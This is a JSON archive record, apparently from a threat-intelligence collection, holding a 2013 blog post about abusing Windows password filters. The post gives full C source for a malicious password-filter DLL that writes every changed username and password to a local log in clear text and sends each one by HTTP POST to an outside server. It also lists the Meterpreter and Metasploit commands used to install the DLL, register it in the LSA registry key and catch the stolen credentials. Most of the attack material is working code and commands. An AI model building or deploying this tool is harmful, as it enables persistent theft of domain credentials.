{
	"id": "3e1bbeb2-6a6a-4f92-88f5-94efc515faec",
	"created_at": "2026-04-06T00:22:23.950593Z",
	"updated_at": "2026-04-10T13:12:25.311967Z",
	"deleted_at": null,
	"sha1_hash": "f5467fab2b4196d1a9f1e5080be9bb272535a34f",
	"title": "Stealing passwords every time they change",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 104912,
	"plain_text": "Stealing passwords every time they change\r\nBy Ar-themes\r\nArchived: 2026-04-05 19:19:23 UTC\r\nPassword Filters [0] are a way for organizations and governments to enforce stricter password requirements on\r\nWindows Accounts than those available by default in Active Directory Group Policy.  It is also fairly documented\r\non how to Install and Register Password Filters [1]. Basically what it boils down to is updating a registry key here:\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages\r\nwith the name of a DLL (without the extension) that you place in Windows\\System32\\\r\nFor National CCDC earlier this year (2013), I created an installer and \"evil pass filter\" that basically installed\r\nitself as a password filter and any time any passwords changed it would store the change to a log file locally to the\r\nvictim (in clear text) as well as issue an HTTP basic auth POST to a server I own with the username and\r\npassword.\r\nThe full code can be found below. I'll leave the compiling up to you but basically its slamming the code in Visual\r\nStudio, telling it its a DLL, and clicking build for the architecture you are targeting (Make sure to use the Internet\r\nOpen access settings that make the most sense for the environment you are using this in [2]).\r\nSo lets walk the exploitation:\r\nFirst, you have to be admin or system, as this is more of a persistence method than anything.\r\nmeterpreter \u003e getuid\r\nServer username: NT AUTHORITY\\SYSTEM\r\nNext, we upload the evilpassfilter.dll to Sytem32:\r\nmeterpreter \u003e pwd\r\nC:\\Windows\\system32\r\nmeterpreter \u003e upload /tmp/evilpassfilter.dll .\r\n[*] uploading  : /tmp/evilpassfilter.dll -\u003e .\r\n[*] uploaded   : /tmp/evilpassfilter.dll -\u003e .\\evilpassfilter.dll\r\nThen we need to query what is already in the notification packages list:\r\nmeterpreter \u003e reg queryval -k HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa -v \"Notification\r\nPackages\"\r\nKey: HKLM\\System\\CurrentcontrolSet\\Control\\Lsa\r\nName: Notification Packages\r\nType:\r\nData: sceclirassfm\r\nhttp://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html\r\nPage 1 of 6\n\nWhat you can't see here since Metasploit isn't showing the line breaks is that there are two there by default:\r\nscecli\r\nrassfm\r\nWe need to add ours to the end of this list, unfortunately at the current point of time its impossible to do directly\r\nfrom the meterpreter command line (as far as I know). So we need to drop a .reg file and manually import it.\r\nEasiest way to do that is to add your \"evilpassfilter\" string as well as the ones on the victim to a VM you have and\r\nexport it. Should look like this:\r\nOnce we have our file, we upload and import it using reg command:\r\nmeterpreter \u003e upload importme.reg .\r\n[*] uploading  : importme.reg -\u003e .\r\n[*] uploaded   : importme.reg -\u003e .\\importme.reg\r\nmeterpreter \u003e execute -H -f regedit.exe -a '/s importme.reg'\r\nProcess 2628 created.\r\nmeterpreter \u003e \r\nDouble check our work:\r\nmeterpreter \u003e reg queryval -k HKLM\\\\System\\\\CurrentcontrolSet\\\\Control\\\\Lsa -v \"Notification\r\nPackages\"\r\nKey: HKLM\\System\\CurrentcontrolSet\\Control\\Lsa\r\nName: Notification Packages\r\nType:\r\nData: sceclirnrassfmrnevilpassfilter \r\nIts there, w00t! But it doesn't do anything until a reboot happens :(. Lets just force that to happen (not the most\r\nstealthy thing to do):\r\nmeterpreter \u003e reboot\r\nRebooting...\r\nWhile thats going on, lets set up the server to catch the basic auth.\r\nmsf exploit(psexec) \u003e use auxiliary/server/capture/http_basic\r\nmsf auxiliary(http_basic) \u003e set URIPATH /\r\nhttp://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html\r\nPage 2 of 6\n\nURIPATH =\u003e /\r\nmsf auxiliary(http_basic) \u003e run\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(http_basic) \u003e\r\n[*] Listening on 0.0.0.0:80...\r\n[*] Using URL: http://0.0.0.0:80/\r\n[*]  Local IP: http://192.168.92.106:80/\r\n[*] Server started.\r\nmsf auxiliary(http_basic) \u003e \r\nThen we wait for a password to be changed:\r\nmsf auxiliary(http_basic) \u003e\r\n[*] 192.168.92.106   http_basic - Sending 401 to client\r\n[+] 192.168.92.106 - Credential collected: \"jack:ASDqwe123\" =\u003e /\r\nNo matter how complex their password is and without having a shell on the box anymore:\r\nmsf auxiliary(http_basic) \u003e\r\n[+] 192.168.92.106 - Credential collected:\r\n\"jack:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes\u003c;6#0$puQ%Q\u0026,@ZwY(T@p\" =\u003e /\r\nThis works from Windows 2000, XP all the way up to Windows 8 \u0026 2012.\r\nOk, but how often are local password changed? Maybe not that often, but guess what happens when a password\r\nfilter is put on a domain controller. Every password changed by that DC is \"verified\" by your evil password filter.\r\nOh and what does that log file we talked about earlier on the victim look like if for some reason they block that IP\r\nyou're getting your authentication to? (You would have to find a way to get back on that system, or make it\r\navailable via a share or otherwise)\r\nInitializeChangeNotify()\r\nJackJohnson:ASDqwe123\r\nJackJohnson:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes\u003c;6#0$puQ%Q\u0026,@ZwY(T@p\r\nThis attack supports a larger character set than most banks ;-)\r\n[0] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721882(v=vs.85).aspx\r\n[1] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx\r\n[2] http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx\r\nFull code:\r\n#include \u003cwindows.h\u003e\r\n#include \u003cstdio.h\u003e\r\n#include \u003cWinInet.h\u003e\r\nhttp://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html\r\nPage 3 of 6\n\n#include \u003cntsecapi.h\u003e\r\nvoid writeToLog(const char* szString)\r\n{\r\nFILE* pFile = fopen(\"c:\\\\windows\\\\temp\\\\logFile.txt\", \"a+\");\r\nif (NULL == pFile)\r\n{\r\nreturn;\r\n}\r\nfprintf(pFile, \"%s\\r\\n\", szString);\r\nfclose(pFile);\r\nreturn;\r\n}\r\n// Default DllMain implementation\r\nBOOL APIENTRY DllMain( HANDLE hModule,\r\nDWORD ul_reason_for_call,\r\nLPVOID lpReserved\r\n)\r\n{\r\nOutputDebugString(L\"DllMain\");\r\nswitch (ul_reason_for_call)\r\n{\r\ncase DLL_PROCESS_ATTACH:\r\ncase DLL_THREAD_ATTACH:\r\ncase DLL_THREAD_DETACH:\r\ncase DLL_PROCESS_DETACH:\r\nhttp://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html\r\nPage 4 of 6\n\nbreak;\r\n}\r\nreturn TRUE;\r\n}\r\nBOOLEAN __stdcall InitializeChangeNotify(void)\r\n{\r\nOutputDebugString(L\"InitializeChangeNotify\");\r\nwriteToLog(\"InitializeChangeNotify()\");\r\nreturn TRUE;\r\n}\r\nBOOLEAN __stdcall PasswordFilter(\r\nPUNICODE_STRING AccountName,\r\nPUNICODE_STRING FullName,\r\nPUNICODE_STRING Password,\r\nBOOLEAN SetOperation )\r\n{\r\nOutputDebugString(L\"PasswordFilter\");\r\nreturn TRUE;\r\n}\r\nNTSTATUS __stdcall PasswordChangeNotify(\r\nPUNICODE_STRING UserName,\r\nULONG RelativeId,\r\nPUNICODE_STRING NewPassword )\r\n{\r\nFILE* pFile = fopen(\"c:\\\\windows\\\\temp\\\\logFile.txt\", \"a+\");\r\nhttp://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html\r\nPage 5 of 6\n\n//HINTERNET hInternet = InternetOpen(L\"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;\r\nTrident/4.0\",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);\r\nHINTERNET hInternet = InternetOpen(L\"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;\r\nTrident/4.0\",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);\r\nHINTERNET hSession =\r\nInternetConnect(hInternet,L\"172.16.10.1\",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);\r\nHINTERNET hReq = HttpOpenRequest(hSession,L\"POST\",L\"/\",NULL,NULL,NULL,0,0);\r\nchar* pBuf=\"SomeData\";\r\nOutputDebugString(L\"PasswordChangeNotify\");\r\nif (NULL == pFile)\r\n{\r\nreturn;\r\n}\r\nfprintf(pFile, \"%ws:%ws\\r\\n\", UserName-\u003eBuffer,NewPassword-\u003eBuffer);\r\nfclose(pFile);\r\nInternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName-\u003eBuffer,UserName-\r\n\u003eLength/2);\r\nInternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword-\u003eBuffer,NewPassword-\r\n\u003eLength/2);\r\nHttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));\r\nreturn 0;\r\n}\r\nSource: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html\r\nhttp://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html"
	],
	"report_names": [
		"stealing-passwords-every-time-they.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434943,
	"ts_updated_at": 1775826745,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f5467fab2b4196d1a9f1e5080be9bb272535a34f.pdf",
		"text": "https://archive.orkl.eu/f5467fab2b4196d1a9f1e5080be9bb272535a34f.txt",
		"img": "https://archive.orkl.eu/f5467fab2b4196d1a9f1e5080be9bb272535a34f.jpg"
	}
}